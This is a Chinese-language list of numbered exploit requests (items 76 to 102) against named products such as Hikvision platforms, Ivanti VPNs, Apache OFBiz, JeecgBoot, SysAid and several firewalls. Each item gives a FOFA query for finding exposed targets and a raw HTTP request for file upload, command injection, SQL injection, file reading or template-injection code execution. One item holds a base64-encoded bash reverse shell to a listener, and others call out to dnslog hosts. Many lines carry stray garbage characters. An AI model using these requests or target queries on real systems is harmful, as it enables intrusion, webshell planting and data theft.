# ~8 O9 T% ?8 r0 X  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
# p% n/ U; K. i# I9 X}


+ L5 e  i; I+ i/ E8 EGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
3 Y; d2 u  n: L5 z' H* k


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
2 b& B5 j$ J- _+ X, A' m* @4 TPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
, y0 g4 ^/ {6 D( _7 fConnection: close
9 H0 a2 r  t8 U! U: d6 u9 M( tContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
3 ]' S8 O* I$ F: z3 iAccept-Language: zh-CN,zh;q=0.9
1 U. W. @' i! \: O5 E" DContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
! d- ~  o2 c; Z' UContent-Disposition: form-data; name="folder"
$ J3 d7 e( d3 L+ {1 L  s
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

- B9 t2 j3 z6 |hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
' k8 ]. L0 E4 P) x5 ]  \Content-Disposition: form-data; name="Upload"
+ x3 c- N* T# z2 d1 n
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
+ ^5 Z; G1 Y: N4 |' ?9 }FOFA：icon_hash="2001627082"
  `- M- M$ Y% b; FPOST /Platform/System/FileUpload.ashx HTTP/1.1
  w4 R, `, q# z0 l6 Q3 _" uHost: x.x.x.x
/ C. c9 y, O+ s* aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ E8 [# e/ ^, J$ S/ g( M6 ~Content-Length: 336
  y3 R& B: x5 a0 V7 n3 CAccept-Encoding: gzip
& Y; g& J; d, sContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ e0 }: m- @" U  i
5 `5 s* c* w4 j------YsOxWxSvj1KyZow1PTsh98fdu6l
: A$ d7 j+ c: H0 n9 BContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
$ m- @' j9 v/ H
YsOxWxSvj1KyZow1PTsh98fdu6l
  |* S& b0 n2 L; ^% T------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

6 E( {* e  u, i; @% V8 u( ^/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

, a; N9 z2 ~$ I2 k; D
6 g; p) f+ S4 y9 L! g79. BYTEVALUE 百为流控路由器远程命令执行
3 e7 k+ n$ I) V! UFOFA：BYTEVALUE 智能流控路由器
. W; R0 v' A$ ?2 {* K" M9 kGET /goform/webRead/open/?path=|id HTTP/1.1
/ L2 M! k$ c, [2 i/ CHost:IP
/ k$ o6 `. s' }  W2 P5 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
0 z, X+ W; k0 D) hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 W3 c$ M8 G* W8 F6 I6 I, pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

7 f$ F4 a. y; \' A7 a# C
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
3 j* a- G5 u' p4 rFOFA：app="速达软件-公司产品"
# `. s. [+ N% C  V8 B0 _" @POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 B7 d1 j3 Q/ @- _Connection: close
9 K8 T* C" z" D- W/ J) JContent-Type: application/octet-stream
% r9 y8 F, k6 [2 @& W. b7 }+ ?$ sUpgrade-Insecure-Requests: 1
) O. C  B+ D  j6 A, a$ J* R" D1 b
# d- D  r& U" Y" ]<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
+ i  l# Q0 ~* k* @% G2 J0 q+ yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, D% i& H! H; _: tConnection: close
8 v8 F; p3 Y4 FAccept-Encoding: gzip
5 n; y+ M2 I- B- f: ]$ ]& R" r

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
: a  u: p+ F' K7 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
+ F1 F5 \6 ?* Q' g& L# ~
4 t1 N6 ^& u' K9 g& A; \
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
. R8 Y0 T2 a# l6 Y/ ]+ s* `Host: BaseURL
8 H; V7 Y# _3 g  PUser-Agent: Go-http-client/1.1
Content-Length: 23
8 \; P. h# @) V/ f  h2 @Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
- l8 [2 j8 o/ x# e; [7 p  Q9 D1 H) R
% p1 @# L. j! w+ r: Rz1=1&z2="|id;"&z3=bhost
2 S* `; k; y$ V* j% P7 V

) G2 _7 U6 e, J  A- S5 {83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
: i: u9 i' e6 h3 o
0 q  K" o$ O) ^5 j
- H1 ?! U1 j2 @4 gPOST /jmreport/testConnection HTTP/1.1
: G* \  p" E! B1 \4 z  i! F$ J& bHost: x.x.x.x
  \7 A5 J8 v. OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! x" H. [9 n' |$ s, P7 FConnection: close
Content-Length: 8881
4 Y9 V- i$ m: U! O  n6 X2 EAccept-Encoding: gzip
/ y& s. G+ C3 KCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
  }: f3 [" w: B8 D  }
PAYLOAD

1 f& Q% |7 b6 X; X84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' N7 |, N8 V6 C3 h) \8 eFOFA：title=="JeecgBoot 企业级低代码平台"

4 z' c- y: p; k1 H
3 j: y+ r: u; S: q7 Z2 M
! J! E, y, L/ e, e! W. s8 GPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
/ ~/ k6 K2 q( i5 Y& R) a1 aUser-Agent: curl/7.88.1
0 T% Z+ A! V7 y# R& x7 n3 _Content-Length: 156
% i# H; |* ?# c) p& e! N2 qAccept: */*
Connection: close
8 W* i. F" m3 gContent-Type: application/json
Accept-Encoding: gzip
( |: c2 O2 f# \
{
4 o* X/ d" y4 ~( B2 h0 j3 K "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

% _' Z, u7 @% S
: G: [- m5 a; ~/ T% U) n3 {  d85. SysAid On-premise< 23.3.36远程代码执行
1 s/ y  g% I+ oCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
7 ]' E# h9 P8 ?! ]' k1 JPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! z( y+ t- l! k1 [. }Content-Type: application/octet-stream
# z6 Y# W& C. u+ w/ w4 lAccept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
5 u5 `+ Y/ D" b; o; z0 m
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
+ Y4 Z2 K8 q3 l8 y9 P. J* D, qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
* f1 @+ p/ q! Q  m8 ~  RConnection: close
; T6 u& K7 x9 s% F- M: r6 {' CContent-Length: 44
Accept: */*
' K" ]  z, Q: D& M, o, X( [3 l. aAccept-Encoding: gzip
0 {9 c; p+ u$ O( ]Accept-Language: en
Content-Type: application/x-www-form-urlencoded
8 t+ A: Z0 m% D9 g
$ Q5 |- e9 p; z, y% T- uhost=%0acat${IFS}/etc/passwd%0a&command=ping
* ~8 ^& D7 \% W5 E

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
9 T: F; c% D4 L$ N" d$ u% ]! LPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
' @  N7 J! W, PHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 b% f+ m2 j# P2 @# F, nContent-Length: 198
, l+ {2 a# n; p' d( W" a% ~& RAccept-Encoding: gzip
1 d" M- y0 Q% l" {9 ZContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

, o) p, I4 v1 i--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
& r$ @4 x4 ]+ qContent-Type: text/plain

$ y9 B. a  r9 I2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
) `& R' i& n' r  t

/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: I3 V0 Z2 [6 g9 R  q; w0 L" RFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
2 g* [4 s7 e1 v  P% e6 E5 T, X4 tHost: x.x.x.xx.x.x.x
, T9 x  ~9 n0 O. |' o) u" PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; D2 q+ H' h9 b8 l6 v1 J/ S. I$ ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Z! t9 F, g5 l) ?Connection: close
9 g4 Y2 S4 {3 i" w* p

/astdfkhl.php
' y$ E5 S& r6 V- y
4 ~7 U) I. M% Y+ l$ M. O2 x89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 h) d( w* z# G) jFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
. ?  P1 ?! g; p0 m$ ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
0 }% X) ~0 c$ p% {+ DAccept-Encoding: gzip

, l4 w- A$ M8 _/ l# P! s* Uoption=2&GUID=-1'+union+select+111*222--+
. f5 r2 o+ F8 |. a2 |% g! t
. {9 I# _5 I. D& L, k
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
- ?& j4 {$ @" {0 c3 u/ dPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
3 [' ^2 b, `/ Q; BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
% V0 g1 D5 j% G+ X9 E: h# c% {; BContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
$ Y# `3 Q5 i( nX-Requested-With: XMLHttpRequest
3 {, d4 m8 M" o
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
, H" ]+ h/ V5 `/ v) O' y, c  K' U! m

" h, g1 O/ `! ~4 ]8 u) b( T91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; M/ {" ]" h9 l, VFOFA：title="综合安防管理平台"
( r- T) D' o+ G) P5 i9 B0 kGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
9 u9 `+ l' q0 U5 F1 o1 @  y3 y" t3 ?Host: your-ip
3 D1 N8 i0 m" I* f2 x. UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
( _* x3 G# P" Q% W3 E! C4 l4 IConnection: keep-alive
5 r! J/ o- Z4 k


4 G# ?; Z, g6 ]$ v92. 海康威视运行管理中心session命令执行
Fastjson命令执行
7 n' T) R+ t+ t+ ihunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
% D2 |0 e0 a! t0 wPOST /center/api/session HTTP/1.1
Host:
4 X. T# {2 ~, F- {7 s% }Accept: application/json, text/plain, */*
. W) x' L! ?7 D; l9 TAccept-Encoding: gzip, deflate
: o1 P1 K1 t0 Q1 r  ]/ n. y* v( rX-Requested-With: XMLHttpRequest
2 p  P6 J, q+ R6 WContent-Type: application/json;charset=UTF-8
4 w* O; K7 u3 g( K/ j  NX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
; F  w, g; b- w9 _1 d) uContent-Length: 5778

PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
( {: v& v9 F8 ?1 J7 ]3 q  j( EHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
: D  n! k3 o2 R$ qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
$ x0 Y  D% e3 N- k$ ~
10000000
------WebKitFormBoundarykcbkgdfx
0 V) t) W  h( P2 z3 W  pContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

7 q1 h! `; R" Z( j" E9 ~. wwagletqrkwrddkthtulxsqrphulnknxa
8 t1 X9 A6 |% T9 X* C------WebKitFormBoundarykcbkgdfx
8 Q4 G. A1 m7 x. F9 f- wContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
! |. ~/ Z3 P1 j! D( S3 i; PContent-Disposition: form-data; name="__hash__"
$ j& q, ?' `1 h. K8 p8 I( y8 C
0b9d6b1ab7479ab69d9f71b05e0e9445
3 P/ U" s4 Q5 J; k2 g/ ]------WebKitFormBoundarykcbkgdfx--
1 z2 @$ `" M' y

GET /attachements/xlskxknxa.txt HTTP/1.1
8 P! _# i8 q- CHost: xx.xx.xx.xx
* U" x1 r" Q0 u  d; U: AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 }, E8 S( |/ H, e9 a( ?

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  l: Y- ]0 H( ]4 y2 o0 M- o6 ePOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
# f1 N  e0 P8 {8 W' |. H4 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- [, j) F" B* H8 @6 y# H
------WebKitFormBoundarybqvzqvmt
4 T. _3 \8 X" P% m$ O9 E; N  n+ ?  }Content-Disposition: form-data; name="MAX_FILE_SIZE"
" n' p4 k3 Q  K8 d) ]/ h9 a- D
10000000
------WebKitFormBoundarybqvzqvmt
/ t8 V9 u* Y2 X' CContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
: d" Z+ ?. x% w0 m  S5 S; sContent-Disposition: form-data; name="submit_post"

obj_app_upfile
( o* A9 f: L+ I- f' |' A: q------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
) X6 E, B. \4 Q) a; {------WebKitFormBoundarybqvzqvmt--
- W& r* o* t' {2 v3 X/ m0 L
1 T2 i, C4 i5 h  k# U

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
% T4 o) p3 ~9 Z+ i0 T9 O/ z' NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 {% t' ?0 }. K/ e5 M
! X9 {% V3 `0 e1 J0 y. ?1 S" {& M$ z8 y3 w
. b5 I3 _  S6 R
& \( [" u& |: n! w' N$ N95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
, @% m. i$ U9 d& d8 O" ?CVE-2023-49070
4 o  v4 r) k6 O# k( ?( [# oFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. x0 d& ?7 \' w* e6 u) EConnection: close
Content-Length: 889
4 C: k! b- C+ a) ~( T! t" ]" R: ^6 tContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
$ ?/ p* [+ H; C5 o, i* I6 L2 E   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
8 `& |3 l' ~$ W# @. `3 s1 a- [      <value>
        <struct>
* _+ H" z# A) b+ u2 Z       <member>
          <name>test</name>
  N' V9 y6 N! l9 A  T6 K! p7 Z          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
) D% ?/ m) i9 r: C" d6 P* A          </value>
        </member>
0 P# H9 I8 x2 q& I3 p; u8 z. `      </struct>
$ ~6 H" q2 w8 g, R      </value>
' V" b% T- }5 [* a8 x( r( `    </param>
    </params>
3 q9 d+ j, T, v- `% ~' I: x</methodCall>
$ b. S  p+ h2 z* P' Q2 @

5 P5 M9 J6 ?& g用ysoserial生成payload
7 g2 t2 o7 l: f6 v; Hjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
* n3 I* |' P' h8 [+ X5 lPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
( n6 J- c/ c  }$ EHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) b$ A' Q% Z0 B4 ]) j! X3 LConnection: close
( G# {* y; b' G, Q% kContent-Length: 889
Content-Type: application/xml
' H5 m5 y  J, R4 v0 F( L* U+ m$ WAccept-Encoding: gzip
7 F! g6 Q) i2 D% H0 [% J2 y
  K& C- s7 |4 A7 ~1 [" ^* nPAYLOAD

, f6 O7 ]  G" u: R" m" Z96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
4 n2 A( ~# U6 P1 S1 dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
6 \* ?7 S3 |4 N6 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. [) N; k9 u1 k2 b0 e9 W5 jAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
& K6 l& {4 N0 o) j" h6 eContent-Length: 55
5 z, |" ]- U' W
groovyProgram=throw+new+Exception('id'.execute().text);
# k4 d/ A" U, z3 O

反弹shell
在kali上启动一个监听
nc -lvp 7777
$ \! Z8 ]7 S/ G" e+ g/ F) k$ ?
# K4 n& K. T' e9 L; B; HPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
8 l' L! x8 Y7 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ V) ]' Q2 F# r; ?( z* Q5 ^- dContent-Type: application/x-www-form-urlencoded
1 R- i/ X- T! t1 S8 Z6 D1 R  P% L; OContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
4 v  ~9 ?! _& f& q7 d$ P9 W
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
2 j* K, k* e/ s+ C$ ^) OGET /passport/login/ HTTP/1.1
  }- O, {0 y+ y9 vHost: 192.168.40.130:8085
( u' _& X0 s5 B, ~" V" J& KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
3 b7 d: J/ b% ~, J' l; _5 YX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
7 c9 E* E! p2 `* N5 y% L1 L% k
$ Z1 z- i/ L' h2 a
98. SpiderFlow爬虫平台远程命令执行
0 ]/ F# p6 S6 _% lCVE-2024-0195
FOFA：app="SpiderFlow"
1 x) F. O5 o" Z! O6 r- n. Y* `, U. ?POST /function/save HTTP/1.1
* ^' g, c$ }$ }! n2 ^" I2 R  N& `1 DHost: 192.168.40.130:8088
- b6 N6 W# j8 J0 V% y6 Q8 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
& R5 B3 f& j& h. ?Content-Length: 121
Accept: */*
. n; ]' W4 t" }- p' a1 A8 mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  w8 L) `7 F! c2 z: l8 ?9 N. jContent-Type: application/x-www-form-urlencoded; charset=UTF-8
# w6 ]+ {; k" v! h4 z6 l! ]X-Requested-With: XMLHttpRequest

3 V1 Q3 l* ?' y) aid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
: T8 V/ X" z5 n; e: ]" B; A  k- f2 \

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
# {) F7 j: g9 K) GFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
5 J+ q7 b# S' r. f" xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' M: o# Z$ L/ A! xConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
5 V+ W9 }# }$ v; H# yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* y/ x$ t5 @9 u& }0 Z: X: qContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
4 X: R8 i1 e: n; b. E0 }% a: i
; m2 j! A, D7 G3 h8 H+ D/ S%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
* Y  r' u7 f  B5 b9 y3 `; CFOFA：icon_hash="874152924"
; t% H+ t8 j5 W) v$ G/ WPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
, i$ x/ Z# e( `User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
4 k- a/ @, B# [( ~4 I- [9 Y2 NAccept-Encoding: gzip
& r8 M6 Z1 n4 v1 C: m( R
, e' T/ W8 p8 u! E  _6 S4 C------WebKitFormBoundarygcflwtei
1 h1 w7 {) t1 d3 D4 F" iContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
: d$ U$ c# D: @3 O" Y( V0 b! f' Q
2ayyhRXiAsKXL8olvF5s4qqyI2O
. F4 v+ C7 x0 O" X/ `( Y" ^------WebKitFormBoundarygcflwtei--
. D: W% K* W1 Z. C5 }" |9 X8 ?. J- r

101. ivanti policy secure-22.6命令注入
CVE-2024-21887
# o$ V1 N, B5 Z, ]4 BFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
# d# D3 A3 y5 S$ p) VHost: x.x.x.xx.x.x.x
: s$ A8 p8 J1 A6 O& r$ ]7 X: SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. c8 v6 ]3 D# F0 ]8 WConnection: close
8 c/ h) K8 d; }Accept-Encoding: gzip

( Z% w6 C0 y+ |! ]+ Q
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; u$ x: y, Z  n) S) P4 ]6 ICVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
( s5 p7 u6 W" A, wPOST /dana-ws/saml20.ws HTTP/1.1
$ H6 p5 x6 S2 X$ o( `$ S4 bHost: x.x.x.x
% a% @* {' t1 ]- }0 L& I! mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
: Q; F# z% `7 p; U( S8 cContent-Length: 792
& J1 u) `7 w1 j8 x7 H, R( BAccept-Encoding: gzip
& c3 g2 H, g$ Z
